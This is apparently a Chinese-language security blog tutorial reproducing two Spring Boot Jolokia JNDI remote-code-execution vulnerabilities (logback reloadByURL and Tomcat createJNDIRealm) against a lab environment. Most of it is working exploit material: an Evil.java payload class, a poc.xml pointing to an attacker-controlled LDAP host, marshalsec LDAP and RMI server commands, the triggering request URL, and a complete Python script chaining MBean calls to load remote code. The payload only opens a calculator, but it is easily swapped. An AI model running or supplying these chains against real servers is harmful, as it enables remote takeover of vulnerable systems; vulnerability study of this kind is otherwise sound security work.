声明:本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,本人不承担任何法律及连带责任。
漏洞一、jolokia logback JNDI RCE
搭建环境
漏洞环境为:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce
IDEA加载源码,并配置一个Spring boot,就可以运行环境了
环境运行起来后,访问一下/jolokia接口
利用条件
目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
目标可以请求攻击者的 HTTP 服务器(请求可出外网)
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
利用方法
1、查看已存在的 MBeans
访问 /jolokia/list 接口,查看是否存在 ch.qos.logback.classic.jmx.JMXConfigurator 和 reloadByURL 关键词
2、准备要执行的 Java 代码
编写用来验证漏洞存在的java代码(Evil.java)
public class Evil{
public Evil() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}
使用兼容低版本 jdk 的方式编译:
javac -source 1.5 -target 1.5 Evil.java
然后将生成的 Evil.class 文件拷贝到攻击者VPS上。
3、托管 xml 文件
编写poc.xml文件,放在VPS上和Evil.class文件同一目录下
<configuration>
<insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/aaabbb" as="appName" />
</configuration>
在poc.xml目录下,使用python开启一个简单的http服务
python3 -m http.server 8080
4、架设恶意 ldap 服务
下载 marshalsec(https://github.com/mbechler/marshalsec
) ,使用下面命令架设对应的 ldap 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8080/#Evil 1389
5、替换实际的 your-vps-ip 地址访问 URL 触发漏洞
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/poc.xml
结果如下,弹出计算器,说明漏洞利用成功
漏洞二:jolokia Realm JNDI RCE
漏洞环境,仍然采用和漏洞一同样的环境。
利用条件
目标网站存在 /jolokia 或 /actuator/jolokia 接口
目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean
目标可以请求攻击者的服务器(请求可出外网)
普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u141/7u131/8u121(RMI),但相关环境可绕过
利用方法
1、查看已存在的 MBeans
访问 /jolokia/list 接口,查看是否存在 type=MBeanFactory 和 createJNDIRealm 关键词。
2、准备要执行的 Java 代码
这一步,和漏洞一方法一样,这里不再赘述。
3、托管 class 文件
在VPS上Evil.class文件目录下,起一个简单http服务
python3 -m http.server 8080
4、架设恶意 rmi 服务
下载 marshalsec (https://github.com/mbechler/marshalsec
),使用下面命令架设对应的 rmi 服务:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:8080/#Evil 1389
5、发送恶意 payload
根据实际情况修改 springboot-realm-jndi-rce.py 脚本中的目标地址,RMI 地址、端口等信息,然后在自己控制的服务器上运行。
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt
import requests
url = 'http://192.168.8.14:9094/jolokia'
create_realm = {
"mbean": "Tomcat:type=MBeanFactory",
"type": "EXEC",
"operation": "createJNDIRealm",
"arguments": ["Tomcat:type=Engine"]
}
wirte_factory = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "contextFactory",
"value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
write_url = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "WRITE",
"attribute": "connectionURL",
"value": "rmi://192.168.10.171:1389/Evil"
}
stop = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "stop",
"arguments": []
}
start = {
"mbean": "Tomcat:realmPath=/realm0,type=Realm",
"type": "EXEC",
"operation": "start",
"arguments": []
}
flow = [create_realm, wirte_factory, write_url, stop, start]
for i in flow:
print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
r = requests.post(url, json=i)
r.json()
print(r.status_code)
VPS上执行 python3 springboot-realm-jndi-rce.py
目标机器上弹出计算器,漏洞利用成功